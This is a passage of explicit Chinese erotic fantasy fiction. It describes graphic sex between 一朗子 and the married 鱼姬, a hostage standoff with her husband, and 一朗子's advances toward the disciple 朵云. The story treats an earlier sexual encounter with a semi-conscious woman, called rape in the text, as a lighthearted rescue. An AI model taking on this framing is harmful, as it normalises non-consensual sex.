鱼姬一边娇笑着,一边闪躲着。好几次在关键时刻,都被鱼姬象泥鳅一样逃脱。有时,她干脆扎个猛子,潜入水里。这可难坏了一朗子。虽说水清澈吧,可是潜得远了,也不容易在这个湖里找到一个人。

这也难不住一郎子。当鱼姬潜水时,他站立不动。当他发现某此水花闪动,知道她要露面了,便自己也潜水了。朝着她要冒出的地方游去。当鱼姬四处张望时,她突然出现了,在她的后边抱住她,并洋洋得意地说:“我的好姐姐,现在看你往哪儿跑。”

鱼姬靠在她的怀里,闻着他的男人气息,说道:“我还是落到你这淫贼的手里了。你可得温柔一些,别弄疼我了。”

一朗子的阳具早硬得跟大炮一样了。此刻抱住她,在她的屁股上磨擦着。不一会儿,那大南傍国便顶进她的臀沟,往小溪里进军了。

鱼姬吃吃笑着,扭腰摆臀,就是不让进入。一朗子说道:“姐姐呀,让我插进去吧。我都憋半天了,会憋出病来的。”

鱼姬回眸一笑,说道:“你自己没本事,可别怨我没给你机会呀。”

一朗子吻上她的红唇,激情地亲着,舔着,下边的肉南傍国触了几下,便触到穴口上了。只是因为角度的关系,插一点进去,又自动滑出来了。一连几次滑出,连鱼姬都暗叫可惜了。

下边的性器玩着亲密接触游戏,上边的唇舌也忙得够戗。二人的舌头都伸出嘴外,甜蜜地舔着,撞着。双方的呼吸都象火一样热,眼神都不正常了。

由于下边总是不能顺利,双方都急了。一朗子喘着粗气说:“我的好姐姐,你别再逗我了。换个姿势,让我干你。”

鱼姬面若桃花鲜艳,在欲望的作用下,她不再矜持和害羞了。她转过身子,双手勾住男人的脖子,双腿盘在男人的腰上。

一朗子托住她的大屁股,下边的器官又开始磨擦。上边的大舌头进入鱼姬的嘴里,和小香舌继续玩着。在双方的共同努力下,不必用手,那根大肉棒就顺利地顶进了小嫩穴。

当大肉棒完全顶到根时,鱼姬发出欢快的叫声。双臂将一朗子搂得更紧,大屁股也不安分地动起来。那小穴的夹弄,爽得一朗子喔喔地叫着,只觉得魂儿都飘走了。

第三回 男女激战

一朗子粗喘着,放纵着自己的情欲。鱼姬呻吟着,浪叫着,猛摇着屁股。小穴象剑鞘一样,吞吐着男人的宝剑。结合的情形,他们看不清。因为那水没过腰了。往水里望,只能瞧见变形的夸张的画面,很不真实。

在二人的动作下,身边的水也跟着晃动,水圈由近及远地荡漾开去,仿佛下边地震了一般。

粗喘声,呻吟声,浪叫声,象原始的音乐一般在冷香谷中回荡,压过了鸟声,小溪声。火一样激情在声音中扩散着。

一气干了几百下,干得双方都俏脸通红,心花怒放。一朗子被她夹得舒服。

鱼姬也被顶得芳心如蜜。

一朗子双手托着她的大屁股,一边笑道:“鱼姬姐姐,咱们在水里干,你的小洞里会不会进水?”

鱼姬眯着美目,使劲挺着屁股,玉腿也跟着用力。那小穴象一个紧紧的肉套子一样套着南傍国。个中滋味儿,美妙无比,一生难忘。

鱼姬浪哼道:“我也不知道啊。我也是第一次在水里干呢,没什么经验。”

一朗子一边腰部耸动,一边说道:“姐呀,咱们到浅的地方干吧。

鱼姬嗯了两声。一朗子便往岸边走去。等水落到腰部以下,没有了水力作用,这回干得更畅快了。

一朗子低头看,看到一撮毛下,自己的粗大的南傍国出出入入的。每当自己的南傍国扎到深处时,鱼姬便发出迷人的叫声。

一朗子的肉棒插入不停,她的叫声也不停。一朗子大享艳福,从触觉,听觉等方面享受着大美女的好处。

鱼姬的双腿盘在他的腰上,双臂只是勾在他的脖子上。她的身子挂在他身上,灵活地弹跳着,一张俏脸红润、激动、热情、兴奋,美丽得不象话。小嘴张合着,叫声要多浪有多浪,全忘了自己的淑女形象。

快乐之下,鱼姬还将双臂也搭在他的肩膀上,双臂和玉腿凑到一块了,大肉棒更紧密地顶她的花心,顶得她骨软筋酥的,几乎要从他的身上掉进来。

鱼姬美目迷离,哼道:“我的好弟弟呀,姐姐被你干得要不行了。咱们换个姿势再干吧。“一朗子笑道:“没问题。”

见岸边有块大石头,便抱着鱼姬往哪里走。为了舒服些,她的双腿又回到他的腰上了。

到石头跟前,二人变成后入式。鱼姬大弯腰,双臂扶着石头,翘起大屁股。

一朗子一见,就冲动得想插进去。要知道,女人,尤其是体态丰满的女人,做出这个姿势来,简直是要人命。

鱼姬就是一个很丰满的美人,皮肤也白。在白日的光线下,全身白得耀眼。

身材又那么标准。她以这个姿势出现,那大奶子垂下来,细腰盈盈一握,屁股是又大又圆又多肉。玉腿叉开,两瓣屁股分开,神秘的臀沟里,菊花是红红的一朵,小穴也张开嘴了,在绒毛的衬托下,粉唇的相夹下,小溪流着水,绵延不绝,煞是好看。

哦,一朗子看得眼珠子都要掉下来了。那几种颜色相互对比着,是男人都会疯狂的。

鱼姬见他没有动静,回眸嗔道:“好弟弟呀,快点插进来呀。姐姐好痒痒呀。”

她的眼神象带着钩子一样。她还动着腰肢,扭着大屁股,那裂缝也跟着变形,菊花也呼吸般地动着。

一朗子再也没法忍受了,挺着那根湿淋淋的大南傍国,扶着屁股,也不需要手的引导,滋地一声,便插进大半根;插得肉唇向两边一张,溅出点点淫水,落在一朗子的身上。

鱼姬啊了一声,向他瞪了一眼,哼道:“坏弟弟呀,你想干死姐姐?轻一点,别把姐姐的小洞给插烂了。”

一朗子一边呼哧呼哧地干着,观赏着大棒入穴的情形,一边笑道:“姐呀,我会温柔一点的。只是我太舒服了,太想干你了。”

双手在她的屁股上抚摸着,真滑溜啊,象美玉一般。他还轻轻地抓着,根本抓不住。

双手不碰它时,随着一朗子的猛烈动作,屁股肉还有节奏地一颤一颤的,形成诱人的波浪。哦,我的艳福不浅,能干着这么动人的美女。

他偶而还双手前伸,玩弄那两只大奶子。大奶子在这个姿势下下垂着,象两只西瓜吊在空中。在一朗子的抽干下,大奶子一摇一晃的,非常好看。

一朗子双手抓着,感觉着她的丰盈和柔软,还捉弄似的捏大乳头,弄得鱼姬不时地尖叫一声,浪叫道:“我的好弟弟呀,你捏得好痛呀。”

她也扭腰摆臀的,配合着男人的肉棒。只觉得大肉棒顶到哪里,哪里便灼热一片。那灼热化作销魂的快感冲击着自己的神经。男女之乐原来如此醉人,以前从未感受到的。

而且,她被一朗子插入肉棒,还有一种偷情的乐趣。她本是一个淑女型的好女人,并不知道别的男人什么样。只因偶然被一朗子干了一次,才晓得别有洞天。但那次并没有过瘾。那次她没有完全清醒过来。现在,她醒来了,她很清醒地跟一朗子干着,干得有声有色,干得地动山摇。她想彻底地当一回荡妇。

当鱼姬被干得达到高潮时,她叫了起来:“好弟弟呀,我不行了,我要流出来了。”

一朗子加快速度,大肉棒以闪电般的速度冲击着,粗喘着说:“鱼姬姐姐,咱们一起高潮吧。”

很快,他便扑扑地射了,全射到鱼姬美好的小穴里。

一朗子舒服地趴在她的裸背上,感受着高潮的余韵,倾听着她的心跳。二人都呼呼喘着,听着呼吸慢慢平静下来。

一朗子直起身子,想把肉棒抽出来。鱼姬阻止道:“别拔,别拔,就插在里边,让我感觉感觉它。我已经多少年没感觉到它了。我已经快忘了男人的样子了。以前没昏迷时,我们也做得挺少的。他的本事太弱了。”

听到这样的话,一朗子觉得好骄傲啊。男人哪有几个不愿意把别的男人比下去的?

他低下头,看着肉棒插在小穴里。那分开的粉唇嫩嫩的,象花瓣,紧紧地包容着自己的玩意。屁股是完美的两股,象两座玉峰。那小菊花也那么干净,很小巧的一个眼儿。

一朗子用手指点了一下,菊花便缩了缩。鱼姬回头嗔道:“不要碰那里。我不喜欢的。”

她的眼神仍带着醉意。俏脸还那么红润。高潮后的她美得让人惊讶、痴迷。

过了好一会儿,一朗子将肉南傍国拔出来。只见小穴已经被插成了一个圆洞,说不出的淫糜那刚刚注射的精液也白花花的溢出。

一朗子观察着精液的流动,说道:“我好姐姐呀,我射了这么多进去,你会不会怀孩子?”

鱼姬直起腰,面对着他,含羞地说:“很可能的。”

想到孩子,她的心里暖洋洋的。这么一站起来,那精液便流得快了,沿着大腿,流向下边。

鱼姬用手拨上水,擦了擦,娇嗔地说:“都是你的脏东西。”

她的眉梢眼角仍带着春意,神态撩人,令人怦然心动。

一朗子一把将她搂在怀里,一手揉弄着奶子,说道:“我的鱼姬姐姐,你想不想要一个孩子呢?”

鱼姬靠在她的怀里,说道:“我怎么不想呢?我跟花王成亲以后,过了好几年,我都没有怀上,不明白什么原因。我一直觉得挺遗憾的。女人没有孩子,那还叫女人吗?”

一朗子微笑道:“不会是你们谁有问题吧?”

鱼姬摇头道:“我不知道。”

一朗子亲了亲她红润的嘴儿,说道:“不如我帮你吧。一定让你生个大胖小子。嘿嘿,一个小道士。”

鱼姬呸了一声,说道:“我要是怀上了,可不会让他当什么小道士,没什么出息的。我要让他成为人上人,人中之龙,可别学他父亲。”

一朗子坏笑道:“我有什么不好了?长得好,人品好。”

鱼姬撇撇嘴,笑道:“长得好嘛,还算对。人品嘛,可不怎么着。”

一朗子大窘,忙问道:“我人品有什么问题吗?”

鱼姬嘻嘻笑,说道:“就不说你强奸我的事儿,就说你跟嫦娥吧,你们没有一点关系吗?还有那个朵云,她那么在乎你,你也在乎她,难道一点关系都没有吗?鬼才相信。”

一朗子连忙解释道:“你别冤枉我呀。我可没有强奸你。我那是为了救人,才在你男人的逼迫下积德行善的。我和嫦娥姐姐、朵云姐姐的事儿,那也是发乎情,止乎礼。”

鱼姬格格笑,伸手握着他的南傍国,说道:“你能跟我这样儿,自然也能跟她们那样了。我就不信,你们没干过。”

一朗子坚决地表示:“那朵云还是处女呢。不信的话,你去问问她。”

鱼姬妩媚地笑道:“那也要等到咱们爽够了,再去问才是。”

一朗子两眼放光,说道:“姐姐,刚才你还没有干够吗?”

鱼姬笑道:“你的玩意又硬起来了,又饿了,我得把它喂饱啊。这回咱们回楼上,在床上干。”

在她的抚弄下,那阳具又变得精神抖擞,杀气腾腾了。

二人抱在一起,来个白日飞升,准确地飞到了楼上的床上。一场大战又开始了;是以鱼姬骑男人的姿势开始的。

□□□

就在二人抵死缠绵的时候,隔壁的朵云已经醒了。她醒来有一会儿了,当二人在湖中亲密之际,她醒来了。鱼姬低估了朵云的能力。她现在不只醒来了,连功力都恢复了。

她来到窗前,将窗扇开了条缝,望着二人在湖中变着花样的狂欢时,她是又羞又气又觉得委屈。见到鱼姬撅着屁股被一朗子干得连喊带叫时,她忍不住要合眼捂耳了,心里暗骂,这个女人也太不要脸了。明明有老公,还要勾引一朗子。

救人情况下,有了肉体接触,还可以原谅,可是现在是很清醒地和别的男人乱来,这种女人绝对不是好女人。真是贱货,骚货,臭婊子。

不过说心里话,那个女人的裸体真是好看。胸部那么大,屁股大又圆,叫起来又那么欲死欲仙的,瞧一朗子那个疯劲儿,也知道其中的诱惑有多大,快感有多强了。

朵云还有点好奇心,心说,干那种事儿真的有那么好受吗?师父嫦娥仙子是个例子,多么清高,多么美丽,又多么圣洁的人物呀,居然跟一朗子好过一次之后,便敢于晚上叫他陪睡。那天晚上,师父的叫声同样叫人面红耳赤,想入非非呀。这次是鱼姬这个女人,真想象不出来,那种事儿到底有什么好?

是的,那种事儿的好处,哪里是她这个黄花大姑娘能想象得到的?没尝过其中滋味儿的人,无论如何是体验不会到的。

她也对一朗子不满。他觉得他对自己的关心远远不够,辜负了自己对他的一片痴情。要知道,自从朵云第一次见到一朗子,便在芳心中留下了一个深刻的印象。那个印象是这个青年不太老实,有点色眯眯的。等他到了月宫,自己凭着性子跟他处处为难。从这种为难中,她体会到了胜利的快感。

然而,自从师父跟他好上之后,她就觉得有种失败感。他成了师父的人,自己再没有资格和他平等斗争了。再见到他跟洛英眉来眼去,勾勾搭搭的,朵云更是坐不住了。

她心说,师父抢走他,我没有法子,不敢反抗。可是洛英凭什么呀?她凭什么跟我争啊?我可是师父的大弟子。虽说一朗子不是我的男人,但我也不能轻易地被洛英抢去。要是被她先得手了,自己以后在月宫还如何抬得起头啊?这个洛英啊,打小就和我争来争去。我注意到的男人,她也不放过。这也太过分了。

当她知道师父派洛英同一朗子去东月湖见花王时,芳心一沉,很不是滋味儿。她第一个反应就是,一定要跟上去,要保护好一朗子,可不能让一朗子被洛英给霸占了。

当她赶到东月湖时,又遇到了难题。她知道那里防卫森严,不敢直接进岛,而是在周围寻找着道路。等她悄悄进入时,一朗子已经被鱼姬给带走了。她便远远地后边跟着,伺机将一朗子弄走。

等到一朗子跟黑山老怪的黑虎大战,她在旁观望时,芳心都提到嗓子眼了。

实在怕他被虎所伤,这才现身出来,与他共同杀敌。那一刻,她才明白,自己是对一朗子动了情了,并不是真的讨厌他,或者把他当成与人竞争的东西。

只是自己被鱼姬制住之后,被放在隔壁,而他太绝情了吧?不想着把自己救走,还跟那个不要脸的鱼姬干那种见不得人的事儿?这种男人太狼心狗肺了,我要他干嘛呀?

依她的性子,真想冲过去,将那个女人杀掉。再给那个一朗子两个耳光,叫他自己反思去。可是她毕竟没有这么做。冲动是魔鬼。那个女人比她的武功高,要是杀人不成,被她杀了怎么办?我要是被杀,那个没良心的男人也不会哭的。

太可恨了。

她清楚地听到隔壁那没完没了的呻吟声,娇喘声,浪叫声,还有男人的欢呼声,大笑声。细一听,还能听到扑哧扑哧声呢。

虽然没干过那事儿,她也能猜到是什么了。他们在湖里干的时候,她已经看到了,男人的大南傍国在女人的小穴里进出呢,干得好来劲儿呀。

她头一次看到大南傍国,是那么粗大,是那么狰狞。那么俊俏的青年,怎么会长那么一根丑东西呢?瞧鱼姬那个骚样儿,倒是挺喜欢那东西呢。不插进去,她都不愿意呀。

瞧那女人要死要活的样儿,想必滋味儿不会差吧。这么一想,自己的脸上好烫呀。小腹下也升起一股热流,小穴里也有点痒痒。

朵云暗骂自己下贱。自己可是自尊自爱的姑娘,不是鱼姬那种女人。我不要想那种事儿。

眼下自己醒了,该怎么办呢?总不能就这么听叫床声吧?既然杀不了那个女人,抢不走男人,那就走吧,总胜过在这里受气。哼,一朗子,以后再见到你,咱们就是仇人,你一点都不体贴我。

她打开窗子,象一只黄鹂一般,飞向远方。她的脸上不禁流出两道热泪。而屋里狂欢的男女,是不知道这一切的。他们仍在盘肠大战。

鱼姬蹲在男人的身上,大屁股起起落落的,吞吐着大肉南傍国。那大棒顶入深处的快感,使她浪叫不绝,眉梢眼角都是春色。一朗子一边享受着艳福,一边望自己身上的浪女的美态。看吧,两只大奶子在跳舞呢,多好看的两只尤物呀。乳头已经硬起来了,挺立在肉球的顶端。

再看下边,那个美妙的肉洞将大肉棒包得紧紧的,象嘴巴吃着火腿肠一样好玩。沿着二人的结合处,正慢慢地溢着淫水呢。一滴滴的,沿着肉棒,滑到根下,漫延到男人的肚子上。

那两条玉腿时而崩紧,时而放松。那个满月般的大屁股多么活跃啊,不只是起落,偶尔还旋转,扭动呢。每一个动作都令一朗子乐得呼呼直喘。

他忍不住了,双手抓住那跳动的大奶子,说道:“鱼姬姐姐呀,你真是女人中的女人,我被你弄得骨头都软了。”

鱼姬向他抛了一个媚眼,说道:“这就对了。我就不信,我的魅力不如你的嫦娥仙子。我要让你知道,我比她更迷人呢。”

声音骚媚入骨,闻之销魂。

一朗子一边捏着她的乳头,一边说道:“我的鱼姐姐,你一点也不比她差的。不用比了。你们都是让我着迷的女人。”

鱼姬自豪地笑起来,笑得好得意,好狂妄。她说道:“可美死你了。你又和我干,又跟她干的,艳福好深。以后再把嫦娥的那八个徒弟都变成小老婆,你这辈子可不白活了,比当了玉帝还乐呢。”

一朗子听得舒服,说道:“我可不敢。要是那些姑娘都当我老婆,我还不得累死呀。”

鱼姬改骑为坐,自由地扭动着,说道:“牡丹花下死,做鬼也风流呀。只怕你少活十年,你也愿意呀。”

说着话,加快了速度。那小穴简直要把大南傍国给夹断。

一朗子笑道:“我的好姐姐呀,你慢一点呀。你这么疯,我要控制不住我自己了。我都想射了。”

鱼姬连忙说道:“你可别射呀。你今天得陪好我。不然的话,我可不饶你。”她的动作果然慢了。刚才是瓢泼大雨,现在变成和风细雨了。

一朗子长出一口气,说道:“这也该我发威了。”

搂着她来个翻身,用尽力气猛插起来,又使鱼姬进入甜蜜的好梦里。

二人干了不知多久才罢休。之后,实在干不动了,这才盖了被子,相拥而眠。等他们再度醒来时,已经是次日中午了。

他们坐起来,穿起衣服。一朗子这才想到朵云,说道:“朵云??这个时候也该醒了吧?”

鱼姬坐在梳妆台前,对着镜子梳头呢,望着自己白里透红的脸蛋,水汪汪的眼睛,非常满意。经过男人的滋润,经过充足的睡眠,她感觉自己就像是浇过水的花朵一样,容光焕发,艳光照人。如果自己是一个男人的话,见了这等美女,也想将她扑倒的。

听到一朗子的话,鱼姬也是一愣,然后笑了,说道:“光顾着跟你快活了,倒把这丫头给忘了。按时间来算,她早该醒来了。”

一朗子深感自责,马上跑到隔壁去看。见到人去楼空,窗子大开,便想到她已经悄悄地走了。可想而知,她自然什么都知道了。一个女孩子,见到自己的心上人跟别的女人翻云覆雨,那心情之恶劣是什么样的?

一朗子双眉皱起,心说,我对不起她呀。我应该早点来看她,等她醒来,让她先走。这才象一个男人干的事儿。这下可好,她一定在心里认定自己是个负心郎了。

鱼姬身穿紫色长裙,头盘秀发,风情万种地来到她跟前,笑容使人意乱情迷。她依偎着一朗子,柔声说:“女人是很好哄的。只要你见到她时,来一番甜言蜜语,准保她会往你怀里扑的。”

一朗子淡淡一笑,将她搂紧,说道:“那你是否也是这种女人呢?”

鱼姬抬头望他,灿烂地笑着,没有出声。

□□□

二人正深情款款呢,忽听楼外一声大吼,打破了冷香谷一直以来的寂静。

“一朗子,你给我滚出来,乖乖受死吧。你拐走了我夫人,我叫你死得很惨。快点滚出来,再不出来,我要放火了。”

这正是花王的声音,愤怒中透着不尽的凄凉和屈辱。

“快出来,再不出来,我把这个小妞宰了。”

这声音犹如一把利剑劈下来,鱼姬猛然离开一朗子的怀抱,花容失色。

一朗子反而冷静了。这几天经历的事儿太多了,让他对于恐怖和血腥已经有些习惯了。

一朗子和鱼姬站在窗前,瞅见了花王领着一群龟兵气急败坏地站在楼下,手里还拎着一个人,双目紧闭,脸色苍白,可不正是朵云吗?

一朗子的心一紧,心说,朵云的运气太差了,怎么会落到他的手里呢?对方手中有了人质,这下大大不妙呀。

一朗子转头看着鱼姬,说道:“鱼姬姐姐,我出去了。我哪怕丢掉自己的一条命,也要换回朵云的命。我对她内疚啊。”

鱼姬坚定地点点头,说道:“我和你一同出去。我会帮你的。”

一朗子嗯了一声。二人像是心有灵犀一般,一起从窗口飞了出去,落在花王的对面。

花王见到一朗子,眼睛一下子通红。所谓仇人相见,分外眼红。可是见到鱼姬艳光四射的风采,眼角眉梢的春意,心里是又喜又痛。他可以想象二人在一起会发生什么样的故事。男人的尊严很受伤。

他强忍悲痛,深情地望着鱼姬,说道:“夫人,我知道,你是受了一朗子的蒙骗,被他给拐走了。我不怪你,也不恨你。只要你回到我身边,我可以忘掉以前的一切,咱们还可以象以前一样过着闲云野鹤的日子。咱们还是一对好夫妻。”

鱼姬的美目盯着花王,斩钉截铁地说:“你说错了。他并没有拐走我,是我把他领到这儿来的。我要和他算账。现在,已经算完了。我的目标已经达到了。”花王哦了一声,一指一朗子,说道:“既然是算帐,那小子怎么现在还没有死呢?”

鱼姬瞅了一眼一朗子,见他挺胸抬头,不畏强暴的俊脸和英雄气概,对他非常欣赏。回想二人在缠绵时的每一个细节,更是灵魂飘飘,芳心如醉。

她微笑道:“没法子,这家伙属猫的,有九条命呢。我是用刀扎,用剑劈,用绳子勒,用毒药毒,用水淹,从空中扔地上,他就是死不了,命不该绝呀。我也不好违背天意。那么,还是让他活着好了。”

这笑容艳丽迷人,在场的人都为之心动。花王哼了一声,心说,女人,就爱说谎。瞧那小子毫发无损,精神极好,哪里象受到虐待了,倒像是享受过无边的艳福了。这小子,我非要他命不可。

花王说道:“夫人,既然如此,得了,你和我回东月湖吧。那里才是咱们的家。”

鱼姬很冷静地说:“回去可以,你得答应我两个条件。”

花王听她答应了,心情稍好,说道:“夫人,咱们是夫妻,有话你尽管说吧。我什么时候不宠爱你呀。”

鱼姬说道:“第一,你要放了朵云姑娘。他们本来就是一对,你何必把人家拆散呢?第二,既往不咎,不准为难一朗子。更不准以后寻仇,找他麻烦。他是我的恩人。我感激他,你也应该感谢他。你听明白了吗?”

这话听在花王耳里,痛在花王心上,心中象被刀片刮着一样不舒服。按照他的意思,他要用一百种酷刑将一朗子弄死。他虽然是个大男人,心眼也不算小,可是夫人是他的生命呀,是他的宝贝呀。谁碰了他的宝贝,谁就别想活着。让他戴绿帽子,还不如杀他痛快。按照人情道理,的确是自己的不对。可是人都是自私的,你用那种法子救了我夫人的命,可是你同时也杀死了我。我怎么能放过你呢?

转眼之间,他的脸上闪过各种神色。鱼姬叹息一声,说道:“如果你很为难的话,得了,你可以领人走了。咱们从此就是路人,谁也不认识谁好了。你也别再来烦我,别再叫我夫人了。”

花王咬了咬牙,说道:“好,我答应你。但这个姑娘不能放。“想到花王要走,旁边的一朗子急了,恨不得冲上去抢回朵云。他心说,花王这王八蛋走也就走了,可你不能带走朵云。她落在你心里,可是凶多吉少,别被你给糟蹋了。我见到嫦娥姐姐时,可如何交待呢?

明知道自己不是对手,一朗子还是向前走去,叫道:“慢着,放了朵云你再走。

花王将朵云放在地上,大叫道:“一朗子,你不要命了吗?你再往前来,我立刻杀了她。”

抬起一只脚,照着朵云的肚子,只要踏下去,便香消玉陨了。

一朗子咬着牙,束手无策,只好停住脚。他打定主意,为了朵云,大不了跟他拼了。或者用自己换回朵云的自由也可以。

鱼姬吱声了,说道:“花王,你不答应我的所有条件吗?好,你走吧。我以后再不想见到你。你也不是我男人。”

花王的俊脸变得黯淡,脸上的肌肉扭了又扭,费了好大劲儿才说:“好,我全答应你就是了。”

鱼姬脸上笑了,说道:“这还差不多。先把朵云给放了。”

花王抓起朵云,向一朗子抛来。一朗子稳稳地接住,望着她的样子,说道:“你把她怎么了?”

鱼姬看了看朵云,呼吸正常,没有什么大碍,用手在她的身上拍了拍。朵云婴宁一声睁开了眼睛,见自己躺在一朗子的怀中,心里又甜又气,瞪着一朗子,鼓腮撅嘴地说:“你个小淫贼,我恨死你了。”

想要挣扎出去,一朗子微笑道:“你身体还弱着呢,让我抱着你吧。”

朵云的头部左右转转,见身边那么多人,可不好意思在他怀里呆着。虽然她心里也很想多呆一会儿。

朵云从他的怀里挣出来,站在他的身边,睁圆了杏眼瞪着花王,简直想要吃人。

一朗子将她拉到一边,关切地问道:“朵云,你怎么会落到花王的手里?”

朵云白了他一眼,没好气地说:“还不是因为你嘛。因为你不好,我从这里走了。本想返回月宫,向师父述苦,让她以后再不理你。可半道上真倒霉,碰到花王这家伙领了一帮人往这边来。我一看到他,就气不打一处来。骂了他一句,他就把我抓住了。这老头真可恨,不过骂他一句,他就在我屁股踢我两脚,现在还疼呢。”

一朗子伸出手,想揉她的屁股,朵云脸上一红,啐道:“滚蛋吧你。那么多人瞅着呢。”

一朗子哈哈一笑,小声问道:“你骂了他什么话,使他那么生气?”

朵云嘻嘻笑,凑在他耳边说:“我骂他是活王八。”

一朗子开心地笑了,用手点指她,说道:“你呀,可真够差劲儿,这么阴损的话,你也说得出口。当心以后生孩子没屁眼。”

朵云听了大羞,用粉拳给他当胸来了一记,娇哼道:“胡说八道。要是这样,也是孩子他父亲的问题,与我无关。”

目光灼灼地盯着一朗子,似乎他就是孩子的父亲。

一朗子见了大乐,几乎都忘了眼前的危机。

只听花王说道:“夫人,咱们走吧。你的条件我已经都答应了。”

鱼姬沉默不语,目光环视着这个世外桃源般的地方,这里留下一生难忘的乐事。她的目光最后落在一朗子的脸上,说道:“一朗子,多多保重。你在这里多留几天吧。这个冷香谷可以当你和朵云姑娘的洞房。”

朵云听了害羞,板着脸说:“我可没说要嫁给他。他是个小淫贼,专门占女人的便宜。”

鱼姬凄然一笑,说道:“朵云姑娘,有两句诗说得好,花开堪折直须折,莫待无花空折枝。当机会来到你跟前时,你若放过了,就会后悔一辈子的。”

朵云听了略有所思。鱼姬忍着满腔的离别之愁,向他们挥挥玉手,便随同花王等走人走了。

一朗子望着他们消失的身影,心中一片空白。他有种预感,以后再想见到鱼姬,只怕是很难了。跟她的一切的一切,仿佛就是一个春梦。

这次见面,会不会成为永别呢?

再次见到花王,他只顾想自己的事儿了,想朵云的事儿了,想鱼姬的事儿了,连师父和花王的大战,都没有打听过。这是不是有点太无情了?

不过以师父的本事,即使不能全胜,全身而退还是没问题的。

一朗子拉住朵云的手,望着她生动的俏脸,说道:“朵云,咱们终于能在一起了。”

朵云脸上一寒,甩掉一朗子的手,冷哼道:“你跟那个女人乐去吧,还管我的死活吗?我不用你可怜。”

一朗子厚着脸皮说:“朵云,我和她那样,也胜过被她杀死吧?”

朵云豪气满脸,傲然说:“男子汉,大丈夫,可杀不可辱。你怎么能为了保命,就和她干那事儿呢?你是不是英雄好汉,名门弟子呢?”

一边串的指责使一朗子大为窘迫,嗫嚅着说:“我如果和她闹翻了,连你的命都保不住。”

朵云挺着酥胸,虽然不是很大,但也挺诱人的。她说道:“我宁可死,也不愿受辱。”

一朗子也大义凛然地说:“为了你,我受辱也任了。”

朵云冷笑道:“你那叫什么受辱啊?只怕都乐死了。她长得那么漂亮,身子也好看,把你都给美死了?你看你干她时那个狠劲儿,喘气声又那么大,叫得又那么大声,那是受辱吗?那是艳福不浅。”

想到那羞人的情景,俏脸红得象大红灯笼。

一朗子被她说得心里痒丝丝的,猛地将她搂在怀里,亲了上去。

□□□

朵云被亲在脸上,呆了一呆,使劲推开他,说道:“你不要亲我。用亲过别人的嘴儿来亲我,我感觉反胃。”

一朗子被拒绝得脸上发热,连忙劝道:“朵云,不要再生气了。女孩子常生气,会容易变老的。”

朵云鼓起腮,哼道:“我不要你管。”

一朗子见她脸上不开晴,知道再劝无用,说道:“朵云,为了向你陪不是,我决定送你一件礼物。收到我礼物以后,可不准再生气了。”

朵云的俏脸上冷气少了一点,说道:“那也要看看是什么礼物才行。”

一朗子微笑道:“你先进楼里等着。我一会儿就来。”

朵云没出声,迈着方步向楼里走去。虽然不喜欢那个女人,以及那个女人与一朗子所干的事儿,但她对这里的环境和小楼还是挺中意的,觉得活在这里,简直是一大享受。

她进楼之后,进了自己昏迷后躺着的房间,走到窗前,望着山谷间的美景,心中一爽。想找找一朗子,发现他已经不见踪影了,心里嘀咕着这家伙不知道搞什么鬼,难道他在这里还藏有什么宝物吗?是项链,镯子,还是耳环,玉佩什么的?这附近也没有店铺呀。

山谷寂寂,除了鸟鸣,泉声之外,没什么动静。朵云感到孤独和不安了。她有种担心,这家伙是不是偷着跑了呢?把自己留在这儿当傻瓜?要是那么做,也太过分了吧?自己得跟他断交,一辈子不见。

正当她等得心急火燎,在屋里转悠的时候,一朗子带着笑声,登登?从楼下跑上来,兴冲冲的。当他看到朵云时,双手背在后边,只对她嘻嘻笑,没见到什么礼物啊。

朵云白了她一眼,哼道:“礼物呢?在哪里呢?你又在忽悠我了。”

一朗子笑呵呵地说:“礼物在这儿呢。”

双手回到身前时,已经捧着一束野花了,五颜六色,非常好看,又香气四溢。

朵云睁大了美目,问道:“从哪里来的花?”

芳心暖暖的。

一朗子将花递到她的手里,说道:“这是我从山上现采的,不知道你喜欢不喜欢。”

朵云和一般的女孩子不同,她更喜欢舞刀弄棒的,不是很得意花草。但此时她也将花放在鼻子闻了闻,很香,脸上情不自禁地露出笑容,说道:“我喜欢倒喜欢,不过,想让我原谅你,那是不可能的。”

话虽如此,但语气中已经没有明显的冷气了。一朗子心中大喜,心说,应该没问题了。她已经不生我的气了。我可以对她加把劲儿了。也不知道哪天才能让她心甘情愿地和我干那事儿。想到鱼姬姐姐临走时说的话,他心猿意马,恨不得马上将朵云给就地正法。

当朵云沉醉于花香与妙想的时候,一朗子却在仔细地观察朵云。绿色的裙子很合体,包裹在苗条的身段上,腰上系着腰带,显出腰细,胸高,臀圆来。虽然,她的胸臀赶不上嫦娥和鱼姬的那么发达,但在少女中算不小的了。

她有张吹弹可破的嫩脸,额上一排弯弯的刘海,弯弯的柳眉,圆溜溜的杏眼,黑亮黑亮的。双唇生得很有特点,上薄下厚,经常做出娇嗔薄怒的神情来,显得俏皮又可爱。

到底是少女,相貌与肉体都显出几分青涩来。可是,若是经过男人的开发,她一定是不得了的尤物,将来肯定可与鱼姬姐姐相媲美。

朵云将花插在一个瓶子里,回头见一朗子两眼贼光闪闪地在自己身上乱转悠,不禁大羞,芳心跳跳的,想逃得远远的。

她瞪了他一眼,说道:“小淫贼,你乱看什么呀?你又不是不认识我。我有什么好看的?既不如我师父美丽,也不如你那个鱼姬姐姐迷人。”

一朗子嘿嘿一笑,说道:“论美丽,论迷人,你是不如她们。可是,你也有你的优势呀。”

朵云听得心里甜甜的,斜视着他,说道:“我有什么优势啊?根本不吸引你。你也说过的,我就是想嫁你,你还不要呢。”

一朗子哈哈大笑,说道:“我是故意气你的,你也记得呀。朵云,你也太小心眼了吧?听说告诉你,在我心里,你和她们一样吸引我。我喜欢和她们睡觉,喜欢干她们,我也很想干你的。你生得好看,心眼也好,对我又关心,又爱护,我当然很喜欢你了。什么配不配的,是逗你的。咱们俩多相配呀。”

说罢,厚着脸皮拉着手亲了两下,又将她搂在自己的怀里。朵云心跳加快,男人的气息使她又羞又怕,挣了几下并不坚决,也只好由他了。

一朗子伸嘴亲在她的脸上,真嫩,真滑呀。第二下便吻在她的小嘴上。朵云是生手,被亲得娇躯颤了颤。一朗子继续亲她,舔她,害得她娇躯不住地颤抖。

一朗子还不满足,舌头向她的嘴里顶着,只顶了几下,朵云便张开嘴,任他的舌头长驱直入,胡作非为了。

那条大舌头跟那条小香舌缠在一起,要多贪婪有贪婪,有多卖力有多卖力,亲得朵云娇躯发软,发热,那股陌生的欲望又升了起来,令朵云激动又害怕。

两条舌头缠了一会儿,朵云摆脱开,说道:“一朗子,别再占便宜了。我不想你这么干。你是个小淫贼。我可不想嫁给你。”

